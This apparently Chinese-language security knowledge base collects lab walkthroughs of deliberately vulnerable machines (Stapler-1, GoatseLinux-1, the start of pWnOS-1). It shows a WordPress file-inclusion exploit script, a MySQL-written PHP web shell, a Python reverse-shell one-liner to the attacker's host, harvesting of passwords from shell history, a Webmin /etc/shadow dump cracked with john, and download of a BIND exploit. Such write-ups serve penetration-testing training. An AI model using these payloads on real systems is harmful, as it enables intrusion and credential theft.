objHtml = urllib2.urlopen(url + '/wp-admin/admin-ajax.php?action=ave_publishPost&title=' + str(randomID) + '&short=rnd&term=rnd&thumb=../wp-config.php')
content =  objHtml.readlines()
for line in content:
	numbers = re.findall(r'\d+',line)
	id = numbers[-1]
	id = int(id) / 10

objHtml = urllib2.urlopen(url + '/?p=' + str(id))
content = objHtml.readlines()

for line in content:
	if 'attachment-post-thumbnail size-post-thumbnail wp-post-image' in line:
		urls=re.findall('"(https?://.*?)"', line)
		print urllib2.urlopen(urls[0]).read()
```

运行poc后没有任何输出，但是在https://192.168.56.122:12380/blogblog/wp-content/uploads/目录下新增了一个957550172.jpeg文件，下载此文件并查看里面的内容

``` bash
root@kali:~/vulnhub/stapler-1# cat 957550172.jpeg 
<?php
/**
 * The base configurations of the WordPress.
 *
 * This file has the following configurations: MySQL settings, Table Prefix,
 * Secret Keys, and ABSPATH. You can find more information by visiting
 * {@link https://codex.wordpress.org/Editing_wp-config.php Editing wp-config.php}
 * Codex page. You can get the MySQL settings from your web host.
 *
 * This file is used by the wp-config.php creation script during the
 * installation. You don't have to use the web site, you can just copy this file
 * to "wp-config.php" and fill in the values.
 *
 * @package WordPress
 */

// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define('DB_NAME', 'wordpress');

/** MySQL database username */
define('DB_USER', 'root');

/** MySQL database password */
define('DB_PASSWORD', 'plbkac');

/** MySQL hostname */
define('DB_HOST', 'localhost');

/** Database Charset to use in creating database tables. */
define('DB_CHARSET', 'utf8mb4');

/** The Database Collate type. Don't change this if in doubt. */
define('DB_COLLATE', '');

/**#@+
 * Authentication Unique Keys and Salts.
 *
 * Change these to different unique phrases!
 * You can generate these using the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service}
 * You can change these at any point in time to invalidate all existing cookies. This will force all users to have to log in again.
 *
 * @since 2.6.0
 */
define('AUTH_KEY',         'V 5p=[.Vds8~SX;>t)++Tt57U6{Xe`T|oW^eQ!mHr }]>9RX07W<sZ,I~`6Y5-T:');
define('SECURE_AUTH_KEY',  'vJZq=p.Ug,]:<-P#A|k-+:;JzV8*pZ|K/U*J][Nyvs+}&!/#>4#K7eFP5-av`n)2');
define('LOGGED_IN_KEY',    'ql-Vfg[?v6{ZR*+O)|Hf OpPWYfKX0Jmpl8zU<cr.wm?|jqZH:YMv;zu@tM7P:4o');
define('NONCE_KEY',        'j|V8J.~n}R2,mlU%?C8o2[~6Vo1{Gt+4mykbYH;HDAIj9TE?QQI!VW]]D`3i73xO');
define('AUTH_SALT',        'I{gDlDs`Z@.+/AdyzYw4%+<WsO-LDBHT}>}!||Xrf@1E6jJNV={p1?yMKYec*OI$');
define('SECURE_AUTH_SALT', '.HJmx^zb];5P}hM-uJ%^+9=0SBQEh[[*>#z+p>nVi10`XOUq (Zml~op3SG4OG_D');
define('LOGGED_IN_SALT',   '[Zz!)%R7/w37+:9L#.=hL:cyeMM2kTx&_nP4{D}n=y=FQt%zJw>c[a+;ppCzIkt;');
define('NONCE_SALT',       'tb(}BfgB7l!rhDVm{eK6^MSN-|o]S]]axl4TE_y+Fi5I-RxN/9xeTsK]#ga_9:hJ');

/**#@-*/

/**
 * WordPress Database Table prefix.
 *
 * You can have multiple installations in one database if you give each a unique
 * prefix. Only numbers, letters, and underscores please!
 */
$table_prefix  = 'wp_';

/**
 * For developers: WordPress debugging mode.
 *
 * Change this to true to enable the display of notices during development.
 * It is strongly recommended that plugin and theme developers use WP_DEBUG
 * in their development environments.
 */
define('WP_DEBUG', false);

/* That's all, stop editing! Happy blogging. */

/** Absolute path to the WordPress directory. */
if ( !defined('ABSPATH') )
        define('ABSPATH', dirname(__FILE__) . '/');

/** Sets up WordPress vars and included files. */
require_once(ABSPATH . 'wp-settings.php');

define('WP_HTTP_BLOCK_EXTERNAL', true);
```

找到mysql数据库的账号和密码：root/plbkac，接下来连接数据库

首先猜测网站绝对路径如下

``` bash
MySQL [wordpress]> select load_file('/var/www/https/robots.txt');
+-------------------------------------------------------------+
| load_file('/var/www/https/robots.txt')                      |
+-------------------------------------------------------------+
| User-agent: *
Disallow: /admin112233/
Disallow: /blogblog/
 |
+-------------------------------------------------------------+
1 row in set (0.001 sec)
```

使用以下myssql语句写入木马

``` bash
MySQL [wordpress]> Select "<?php echo shell_exec($_GET['cmd']);?>" into outfile "/var/www/https/blogblog/wp-content/uploads/shell.php";
Query OK, 1 row affected (0.001 sec)
```

成功写入木马并能执行命令

``` bash
https://192.168.56.122:12380/blogblog/wp-content/uploads/shell.php?cmd=id
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub253.jpg)

现在执行下面命令来反弹一个shell

浏览器执行

``` bash
https://192.168.56.122:12380/blogblog/wp-content/uploads/shell.php?cmd=python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.56.102",5566));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
```

kali端，成功的弹回了shell

``` bash
root@kali:~# nc -lvp 5566
listening on [any] 5566 ...
192.168.56.122: inverse host lookup failed: Host name lookup failure
connect to [192.168.56.102] from (UNKNOWN) [192.168.56.122] 54522
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ whoami
www-data
$ pwd
/var/www/https/blogblog/wp-content/uploads
$ python -c 'import pty;pty.spawn("/bin/bash")'
www-data@red:/var/www/https/blogblog/wp-content/uploads$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@red:/var/www/https/blogblog/wp-content/uploads$ whoami
whoami
www-data
```

使用下面的命令尝试找出ssh的账号密码

``` bash
www-data@red:/$ pwd
pwd
/
www-data@red:/$ find -name ".bash_history" -exec cat {} \; 2>/dev/null
find -name ".bash_history" -exec cat {} \; 2>/dev/null
...
sshpass -p thisimypassword ssh JKanode@localhost
apt-get install sshpass
sshpass -p JZQuyIN5 peter@localhost
...
```

发现下面两个账号密码均能成功登录

``` bash
JKanode    thisimypassword
peter      JZQuyIN5
```

``` bash
root@kali:~# ssh JKanode@192.168.56.122
The authenticity of host '192.168.56.122 (192.168.56.122)' can't be established.
ECDSA key fingerprint is SHA256:WuY26BwbaoIOawwEIZRaZGve4JZFaRo7iSvLNoCwyfA.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.56.122' (ECDSA) to the list of known hosts.
-----------------------------------------------------------------
~          Barry, don't forget to put a message here           ~
-----------------------------------------------------------------
Enter passphrase for key '/root/.ssh/id_rsa': 
JKanode@192.168.56.122's password: 
Welcome back!



The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

JKanode@red:~$ id
uid=1013(JKanode) gid=1013(JKanode) groups=1013(JKanode)
JKanode@red:~$ whoami
JKanode
```

``` bash
root@kali:~# ssh peter@192.168.56.122
-----------------------------------------------------------------
~          Barry, don't forget to put a message here           ~
-----------------------------------------------------------------
Enter passphrase for key '/root/.ssh/id_rsa': 
peter@192.168.56.122's password: 
Welcome back!

This is the Z Shell configuration function for new users,
zsh-newuser-install.
You are seeing this message because you have no zsh startup files
(the files .zshenv, .zprofile, .zshrc, .zlogin in the directory
~).  This function can help you with a few settings that should
make your use of the shell easier.

You can:

(q)  Quit and do nothing.  The function will be run again next time.

(0)  Exit, creating the file ~/.zshrc containing just a comment.
     That will prevent this function being run again.

(1)  Continue to the main menu.

(2)  Populate your ~/.zshrc with the configuration recommended
     by the system administrator and exit (you will need to edit
     the file by hand, if so desired).

--- Type one of the keys in parentheses ---
Aborting.
The function will be run again next time.  To prevent this, execute:
  touch ~/.zshrc
red%
red% id
uid=1000(peter) gid=1000(peter) groups=1000(peter),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),113(lpadmin),114(sambashare)
red% whoami
peter
```

执行下面的命令利用peter用户提权

``` bash
red% sudo usermod -s /bin/bash

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.

[sudo] password for peter: 
Usage: usermod [options] LOGIN

Options:
  -c, --comment COMMENT         new value of the GECOS field
  -d, --home HOME_DIR           new home directory for the user account
  -e, --expiredate EXPIRE_DATE  set account expiration date to EXPIRE_DATE
  -f, --inactive INACTIVE       set password inactive after expiration
                                to INACTIVE
  -g, --gid GROUP               force use GROUP as new primary group
  -G, --groups GROUPS           new list of supplementary GROUPS
  -a, --append                  append the user to the supplemental GROUPS
                                mentioned by the -G option without removing
                                him/her from other groups
  -h, --help                    display this help message and exit
  -l, --login NEW_LOGIN         new value of the login name
  -L, --lock                    lock the user account
  -m, --move-home               move contents of the home directory to the
                                new location (use only with -d)
  -o, --non-unique              allow using duplicate (non-unique) UID
  -p, --password PASSWORD       use encrypted password for the new password
  -R, --root CHROOT_DIR         directory to chroot into
  -s, --shell SHELL             new login shell for the user account
  -u, --uid UID                 new UID for the user account
  -U, --unlock                  unlock the user account
  -v, --add-subuids FIRST-LAST  add range of subordinate uids
  -V, --del-subuids FIRST-LAST  remove range of subordinate uids
  -w, --add-subgids FIRST-LAST  add range of subordinate gids
  -W, --del-subgids FIRST-LAST  remove range of subordinate gids
  -Z, --selinux-user SEUSER     new SELinux user mapping for the user account

red% id
uid=1000(peter) gid=1000(peter) groups=1000(peter),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),113(lpadmin),114(sambashare)
red% whoami
peter
red% sudo -i
➜  ~ id
uid=0(root) gid=0(root) groups=0(root)
➜  ~ whoami
root
➜  ~ cd /root
➜  ~ ls
fix-wordpress.sh  flag.txt  issue  python.sh  wordpress.sql
➜  ~ cat flag.txt
~~~~~~~~~~<(Congratulations)>~~~~~~~~~~
                          .-'''''-.
                          |'-----'|
                          |-.....-|
                          |       |
                          |       |
         _,._             |       |
    __.o`   o`"-.         |       |
 .-O o `"-.o   O )_,._    |       |
( o   O  o )--.-"`O   o"-.`'-----'`
 '--------'  (   o  O    o)  
              `----------`
b6b545dc11b7a270f4bad23432190c75162c4a2b
```

成功的获取到了root用户的权限并拿到了flag

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub254.jpg)

#### 其他方法

也可以访问wordpress数据库后然后选择用户john并破解hash值，它将是“不正确的”使用用户“john”和密码“incorrect”访问wordpress然后导航以添加插件，然后上传shell，将在/blogblog/wp-content/uploads目录中找到shell

使用nc作为侦听器建立连接之后，还可以使用下面的方法进行提权

 - 提权参考1 [Linux-UAF通过bpf-BPF-PROG-LOAD-错误路径中的double-fdput](https://bugs.chromium.org/p/project-zero/issues/detail?id=808)

 - 提权参考2 [Linux内核4.4.x-Ubuntu-16.04-double-fdput-bpf-BPF_PROG_LOAD-提权](https://www.exploit-db.com/exploits/39772)

<font color="red">其它更多方法请自行尝试。。。</font>

#### 知识点总结

 - wordpress用户枚举
 - WordPress Plugin Advanced Video 1.0 - 本地文件包含
 - python poc修改
 - select load_file('/var/www/https/robots.txt'); mysql语句读取文件内容
 - select "php木马内容" into outfile "/var/www/https/blogblog/wp-content/uploads/shell.php"; mysql语句写入木马
 - python脚本反弹shell

``` bash
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.56.102",5566));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
```
 - find命令寻找登录的历史ssh密码

``` bash
find -name ".bash_history" -exec cat {} \; 2>/dev/null
```
 - sudo -i提权

``` bash
sudo usermod -s /bin/bash
sudo -i
```
 - Linux内核4.4.x-Ubuntu-16.04-double-fdput-bpf-BPF_PROG_LOAD-提权

<font color="red">Game over</font>

不好意思，这次还是没有找到希腊某位大佬的傻瓜式一键通关脚本，i am so sorry about this...It's a pity...

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/haha.jpg)

<font color="green">***The end,to be continue...***</font>
<!-- kb:end Stapler-1 -->

</details>




# 中间件请求解析与管理接口

本章收录 Webmin、Usermin、Nostromo、distcc 等原服务环境。记录包含服务版本、协议输入、文件映射和本地身份，使同名漏洞与具体部署条件能够对应。

<nav class="kb-tools" aria-label="章节操作">
<a href="/knowledge/">知识库目录</a>
<a href="/guide/">研究导读</a>
<a href="/knowledge/middleware/source.md" download>下载 Markdown</a>
<button type="button" data-expand-evidence>展开全部技术记录</button>
</nav>



## 分析重点

pWnOS 与 GoatseLinux 的管理接口保留文件读取和替代认证路径。

Traverxec 的 Nostromo 请求与用户目录映射连接到 journalctl/less。

VulnOS-1 的 distcc、Drupal、Webmin 和数据库入口分别留有实验记录。

## 案例与技术索引

| 分析入口 | 实验来源 | 技术点 |
| --- | --- | --- |
| [Webmin 文件读取与旧内核分支](#case-goatselinux-1) | GoatseLinux-1 | Webmin、文件读取、内核 |
| [Webmin 读取与多条服务入口](#case-pwnos-1) | pWnOS-1 | Webmin、路径穿越、SSH |
| [Nostromo 映射与日志查看器](#case-traverxec) | Traverxec | Nostromo、SSH、GTFOBins |
| [distcc 与多个管理入口](#case-vulnos-1) | vulnos-1 | distcc、Webmin、Drupal |

<a id="case-goatselinux-1"></a>

## Webmin 文件读取与旧内核分支

原环境同时暴露 Webmin、旧内核及多个服务，记录保留已经验证的文件读取、口令恢复和本地提权尝试。失败分支继续标记为原文观察。

<p class="kb-provenance">来源 GoatseLinux-1 · 原记录 2019-12-18 · 9 个代码块 · 4 处图片引用</p>

<details class="kb-evidence" id="record-goatselinux-1">
<summary>查看分析过程、攻击步骤与完整代码</summary>

<!-- kb:start GoatseLinux-1 -->

名称：GoatseLinux: 1
发布日期：2009年6月27日

下载：

 - Download: [http://neutronstar.org/tmp/GoatseLinux_1.0_VM.rar](http://neutronstar.org/tmp/GoatseLinux_1.0_VM.rar)
 - Download (Mirror): [https://download.vulnhub.com/goatselinux/GoatseLinux_1.0_VM.rar](https://download.vulnhub.com/goatselinux/GoatseLinux_1.0_VM.rar)
 - Download (Torrent): [https://download.vulnhub.com/goatselinux/GoatseLinux_1.0_VM.rar.torrent](https://download.vulnhub.com/goatselinux/GoatseLinux_1.0_VM.rar.torrent)

描述：

GoatseLinux v1.0 Pentest实验室虚拟机
史蒂夫·波顿
2009.06.27
在gnu许可下广泛分发。
这是专门为VMware 6.5兼容性而构建的。
警告：GoatseLinux是不安全的。 它被设计为用于进行渗透测试的实验室工具箱。 由于几乎所有安装的程序都具有广泛的开放性，因此强烈建议您不要将VM网络设置为除“基于主机”之外的任何方式，除非您喜欢将VM用作僵尸垃圾邮件箱。
笔记：
建立在Slax 5.0.7版本上。
资料来源：readme.txt



#### 信息收集

nmap伺候

``` bash
root@kali:~# nmap -sn -v 192.168.142.0/24
Nmap scan report for 192.168.142.132
Host is up (0.00015s latency).
MAC Address: 00:0C:29:0A:54:68 (VMware)
```

``` bash
root@kali:~# nmap -sV -Pn -p- -v 192.168.142.132
PORT      STATE SERVICE VERSION
21/tcp    open  ftp
22/tcp    open  ssh     OpenSSH 3.5p1 (protocol 1.99)
25/tcp    open  smtp    Sendmail
53/tcp    open  domain  ISC BIND 8.2.2-REL
80/tcp    open  http    Apache httpd 1.3.31 ((Unix))
587/tcp   open  smtp    Sendmail
631/tcp   open  ipp     CUPS 1.1
3306/tcp  open  mysql   MySQL (unauthorized)
10000/tcp open  http    MiniServ 0.01 (Webmin httpd)
```

发现:

http://192.168.142.132/
![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub68.jpg)

http://192.168.142.132/goatse.html
![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub69.jpg)

http://192.168.142.132:10000/
![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub70.jpg)

是基于Web的系统管理工具Webmin。Metasploit提供了三种漏洞利用:一个用于shell，两个用于获取任意文件的辅助模块。

msf伺候

``` bash
root@kali:~# msfdb run
[+] Starting database
                                                  
                                   ___          ____
                               ,-""   `.      < HONK >
                             ,'  _   e )`-._ /  ----                                                   
                            /  ,' `-._<.===-'                                                          
                           /  /                                                                        
                          /  ;                                                                         
              _          /   ;                                                                         
 (`._    _.-"" ""--..__,'    |                                                                         
 <_  `-""                     \                                                                        
  <`-                          :                                                                       
   (__   <__.                  ;                                                                       
     `-.   '-.__.      _.'    /                                                                        
        \      `-.__,-'    _,'                                                                         
         `._    ,    /__,-'                                                                            
            ""._\__,'< <____                                                                           
                 | |  `----.`.                                                                         
                 | |        \ `.                                                                       
                 ; |___      \-``                                                                      
                 \   --<                                                                               
                  `.`.<                                                                                
                    `-'                                                                                
                                                                                                       
                                                                                                       

       =[ metasploit v5.0.64-dev                          ]
+ -- --=[ 1952 exploits - 1092 auxiliary - 335 post       ]
+ -- --=[ 562 payloads - 45 encoders - 10 nops            ]
+ -- --=[ 7 evasion                                       ]

msf5 > use auxiliary/admin/webmin/file_disclosure
msf5 auxiliary(admin/webmin/file_disclosure) > set RHOST 192.168.142.132
RHOST => 192.168.142.132
msf5 auxiliary(admin/webmin/file_disclosure) > exploit
[*] Running module against 192.168.142.132

[*] Attempting to retrieve /etc/passwd...
[*] The server returned: 200 Document follows
root:x:0:0::/root:/bin/bash
bin:x:1:1:bin:/bin:
daemon:x:2:2:daemon:/sbin:
adm:x:3:4:adm:/var/log:
lp:x:4:7:lp:/var/spool/lpd:
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/:
news:x:9:13:news:/usr/lib/news:
uucp:x:10:14:uucp:/var/spool/uucppublic:
operator:x:11:0:operator:/root:/bin/bash
games:x:12:100:games:/usr/games:
ftp:x:14:50::/var/ftp:
smmsp:x:25:25:smmsp:/var/spool/clientmqueue:
mysql:x:27:27:MySQL:/var/lib/mysql:/bin/bash
rpc:x:32:32:RPC portmap user:/:/bin/false
sshd:x:33:33:sshd:/:
gdm:x:42:42:GDM:/var/state/gdm:/bin/bash
pop:x:90:90:POP:/:
nobody:x:99:99:nobody:/:
guest:x:1000:100::/home/guest:/bin/bash
goatse:x:1002:10:,,,:/home/goatse:/bin/bash
jpelman:x:1003:100:,,,:/home/jpelman:/bin/bash
jblow:x:1004:100:,,,:/home/jblow:/bin/bash
[*] Auxiliary module execution completed
msf5 auxiliary(admin/webmin/file_disclosure) > set RPATH /etc/shadow
RPATH => /etc/shadow
msf5 auxiliary(admin/webmin/file_disclosure) > exploit
[*] Running module against 192.168.142.132

[*] Attempting to retrieve /etc/shadow...
[*] The server returned: 200 Document follows
root:$1$k6V/lmUF$n2iBfemYg/IsVRyjqopr3.:14422:0:::::
bin:*:9797:0:::::
daemon:*:9797:0:::::
adm:*:9797:0:::::
lp:*:9797:0:::::
sync:*:9797:0:::::
shutdown:*:9797:0:::::
halt:*:9797:0:::::
mail:*:9797:0:::::
news:*:9797:0:::::
uucp:*:9797:0:::::
operator:*:9797:0:::::
games:*:9797:0:::::
ftp:*:9797:0:::::
smmsp:*:9797:0:::::
mysql:*:9797:0:::::
rpc:*:9797:0:::::
sshd:*:9797:0:::::
gdm:*:9797:0:::::
pop:*:9797:0:::::
nobody:*:9797:0:::::
guest:$1$T7.0qXyH$hC4dje14rIUFJXbZUCkdB/:12876:0:99999:7:::
goatse:$1$lXWz2SF8$sr5ux2i3UpMAf30t5uMtT0:14422:0:99999:7:::
jpelman:$1$3nO0QVVF$Iy21QTWTrHPd5/6ZrAvrj.:14422:0:99999:7:::
jblow:$1$35A0vqVF$MoYgZm/DxNS5nBZZk3Y2R1:14422:0:99999:7:::
[*] Auxiliary module execution completed
```

将/etc/shadow保存为.txt文件然后使用john破解密码的hash,左边是密码，右边是用户名。

``` bash
root@kali:~# john --wordlist=/usr/share/wordlists/rockyou.txt /root/goastshadow
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 5 password hashes with 5 different salts (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
bobby            (jpelman)
kokomo           (jblow)
guest            (guest)
gaping           (goatse)
4g 0:00:00:49 DONE (2019-12-18 21:35) 0.08014g/s 282509p/s 320894c/s 320894C/s !!!0mc3t..*7¡Vamos!
Use the "--show" option to display all of the cracked passwords reliably
Session completed
```

使用其中一个用户goatse登录

``` bash
root@kali:~# ssh goatse@192.168.142.132
The authenticity of host '192.168.142.132 (192.168.142.132)' can't be established.
RSA key fingerprint is SHA256:25uPigwKnzugpFkHd91FCdBukcikll8dkH4oV7OQROY.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.142.132' (RSA) to the list of known hosts.
goatse@192.168.142.132's password: 
Linux 2.6.15.
goatse@slax:~$ id
uid=1002(goatse) gid=10(wheel) groups=10(wheel)
goatse@slax:~$ whoami
goatse
goatse@slax:~$ pwd
/home/goatse
goatse@slax:~$
```

#### 提权1

``` bash
goatse@slax:~$ uname -a
Linux slax 2.6.15 #1 SMP Tue Jan 10 07:53:57 GMT 2006 i686 unknown unknown GNU/Linux
goatse@slax:~$ sudo -s
Password:
root@slax:~# id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy)
root@slax:~# whoami
root
```

#### 提权2

另一个方法通过使用旧内核,prctl权限提升漏洞。
exp下载，[BIND](https://www.exploit-db.com/download/282)

kali端

``` bash
root@kali:~# python -m SimpleHTTPServer
```

shell端

``` bash
goatse@slax:~$ wget http://192.168.142.128:8000/282.c
--20:16:25--  http://192.168.142.128:8000/282.c
           => `282.c'
Connecting to 192.168.142.128:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 16,429 (16K) [text/plain]

100%[===========================================================>] 16,429        --.--K/s             

20:16:25 (290.15 MB/s) - `282.c' saved [16429/16429]
```

编译并运行

``` bash
goatse@slax:~$ gcc 282.c -o bind
282.c:565:28: warning: no newline at end of file
goatse@slax:~$ ls
282.c*  bind*  test.sh*
oatse@slax:~$ ./bind 127.0.0.1
[*] named 8.2.x (< 8.2.3-REL) remote root exploit by lucysoft, Ix
[*] fixed by ian@cypherpunks.ca and jwilkins@bitland.net

[*] attacking 127.0.0.1 (127.0.0.1)
[d] HEADER is 12 long
[d] infoleak_qry was 476 long
[*] iquery resp len = 719
[d] argevdisp1 = 080d7cd0, argevdisp2 = b7daea64
[*] retrieved stack offset = bfc2a8f8
[d] evil_query(buff, bfc2a8f8)
[d] shellcode is 134 long
[d] olb = 248
[x] could not write our data in buffer (offset0=56, rroffsetidx=4)
[x] error sending tsig packet
```

不知为什么一直运行失败，此SSH上还有一个root漏洞利用。 还有Apache的权限提升。 以及CUPS中的多个远程Shell漏洞。 这是一个旧漏洞的游乐场。 Metasploitable具有更多易受攻击的服务（以及Metasploitable 2），如果您正在寻找这样的游乐场，建议选择Goatsie上的那些。


<font color="red">Game over</font>

不好意思，这次还是没有找到希腊某位大佬的傻瓜式一键通关脚本，i am so sorry about this...It's a pity...

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/haha.jpg)

<font color="green">***The end,to be continue...***</font>


<!-- kb:end GoatseLinux-1 -->

</details>

<a id="case-pwnos-1"></a>

## Webmin 读取与多条服务入口

Webmin 与 Usermin 的路径处理提供文件读取，原文同时记录口令、SSH、CGI 和本地提权路径，并保留各自响应。

<p class="kb-provenance">来源 pWnOS-1 · 原记录 2019-12-29 · 27 个代码块 · 3 处图片引用</p>

<details class="kb-evidence" id="record-pwnos-1">
<summary>查看分析过程、攻击步骤与完整代码</summary>

<!-- kb:start pWnOS-1 -->

#### 发布日期
名称：pWnOS: 1.0
发布日期：2008年6月27日


#### Readme.txt
感谢您尝试使用pWnOS 1.0。开始之前需要注意的几件事。 pWnOS是使用VMware Workstation制作的，可以通过下载VMware Server或Vmware Player来启动...两者都是免费的！或免费的VMware Workstation（Windows）或VMware Fusion（OS X）。

1.如果Vmware在首次引导时询问您是复制还是移动了该虚拟机，请单击MOVED！否则，网络设置可能会混乱。
2.当前已将虚拟机设置为使用桥接网络，但是您可能希望根据自己的喜好将其更改为NAT或“仅主机”。
3.可以在milw0rm.com上找到所有必需的工具/漏洞/所有内容。
4.有多种途径可以访问外壳。我创建了一个n00b路径和一个更高级的路径。看看是否可以同时获得它们！
我将pWnOS的难度评定为与De-Ice的2级磁盘大致相同...可能要困难一些。有关De-Ice渗透测试磁盘的信息，请参见http://www.de-ice.net。
我希望你喜欢它！如果您有任何疑问或反馈，请给我发送电子邮件至bond00@gmail.com
bond00



#### 下载

 - Download: http://pwnos.com/files/pWnOS_v1.0.zip
 - Download (Mirror): https://download.vulnhub.com/pwnos/pWnOS_v1.0.zip
 - Download (Torrent): https://download.vulnhub.com/pwnos/pWnOS_v1.0.zip.torrent

#### 描述

你们中有些人可能已经注意到了这个新的pWnOS论坛部分。 我创建了pWnOS作为虚拟机，而Grendel很好，我可以在这里发布它。 这是有关pWnOS的一些信息。
这是一个有意配置有可利用服务的linux虚拟机，可为您提供通往r00t的路径。 :)当前，虚拟机NIC是在桥接网络中配置的，因此它将在您连接到的网络上获得一个正常的IP地址。 您可以根据需要轻松地将其更改为NAT或仅主机。 快速ping扫描将显示虚拟机的IP地址。
对不起...没有任何场景/故事情节。 我并不是真的打算这样发布它，所以也许对于2.0版，我会更具创造力。 :)我很想得到反馈，所以请告诉我它的进展或您有任何疑问。 谢谢，祝你好运！
资料来源：http://forums.hackingdojo.com/viewtopic.php?f=21&t=149

#### 信息收集

上nmap

``` bash
root@kali:~# nmap -sn -v 192.168.33.0/24
Nmap scan report for localhost (192.168.33.3)
Host is up (0.00020s latency).
MAC Address: 00:0C:29:5E:18:C9 (VMware)
```

``` bash
root@kali:~# nmap -sT -Pn -n -vv 192.168.33.3 -p- -sC --script=vuln
PORT      STATE SERVICE          REASON
22/tcp    open  ssh              syn-ack
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
80/tcp    open  http             syn-ack
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-enum: 
|   /icons/: Potentially interesting directory w/ listing on 'apache/2.2.4 (ubuntu) php/5.2.3-1ubuntu6'
|   /index/: Potentially interesting folder
|_  /php/: Potentially interesting directory w/ listing on 'apache/2.2.4 (ubuntu) php/5.2.3-1ubuntu6'
|_http-jsonp-detection: Couldn't find any JSONP endpoints.
| http-slowloris-check: 
|   VULNERABLE:
|   Slowloris DOS attack
|     State: LIKELY VULNERABLE
|     IDs:  CVE:CVE-2007-6750
|       Slowloris tries to keep many connections to the target web server open and hold
|       them open as long as possible.  It accomplishes this by opening connections to
|       the target web server and sending a partial request. By doing so, it starves
|       the http server's resources causing Denial Of Service.
|       
|     Disclosure date: 2009-09-17
|     References:
|       http://ha.ckers.org/slowloris/
|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
| http-trace: TRACE is enabled
| Headers:
| Date: Sun, 29 Dec 2019 08:21:03 GMT
| Server: Apache/2.2.4 (Ubuntu) PHP/5.2.3-1ubuntu6
| Connection: close
| Transfer-Encoding: chunked
|_Content-Type: message/http
|_http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug)
|_http-wordpress-users: [Error] Wordpress installation was not found. We couldn't find wp-login.php
139/tcp   open  netbios-ssn      syn-ack
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
445/tcp   open  microsoft-ds     syn-ack
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
10000/tcp open  snet-sensor-mgmt syn-ack
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
| http-vuln-cve2006-3392: 
|   VULNERABLE:
|   Webmin File Disclosure
|     State: VULNERABLE (Exploitable)
|     IDs:  CVE:CVE-2006-3392
|       Webmin before 1.290 and Usermin before 1.220 calls the simplify_path function before decoding HTML.
|       This allows arbitrary files to be read, without requiring authentication, using "..%01" sequences
|       to bypass the removal of "../" directory traversal sequences.
|       
|     Disclosure date: 2006-06-29
|     References:
|       http://www.exploit-db.com/exploits/1997/
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3392
|_      http://www.rapid7.com/db/modules/auxiliary/admin/webmin/file_disclosure

Host script results:
|_smb-vuln-ms10-054: false
|_smb-vuln-ms10-061: false
|_smb-vuln-regsvc-dos: ERROR: Script execution failed (use -d to debug)
```

上dirb

``` bash
root@kali:~# dirb http://192.168.33.3/

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Tue Dec 31 02:00:48 2019
URL_BASE: http://192.168.33.3/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: http://192.168.33.3/ ----
+ http://192.168.33.3/cgi-bin/ (CODE:403|SIZE:306)                                                    
+ http://192.168.33.3/index (CODE:200|SIZE:295)                                                       
+ http://192.168.33.3/index.php (CODE:200|SIZE:295)                                                   
+ http://192.168.33.3/index1 (CODE:200|SIZE:1104)                                                     
+ http://192.168.33.3/index2 (CODE:200|SIZE:156)                                                      
==> DIRECTORY: http://192.168.33.3/php/
```

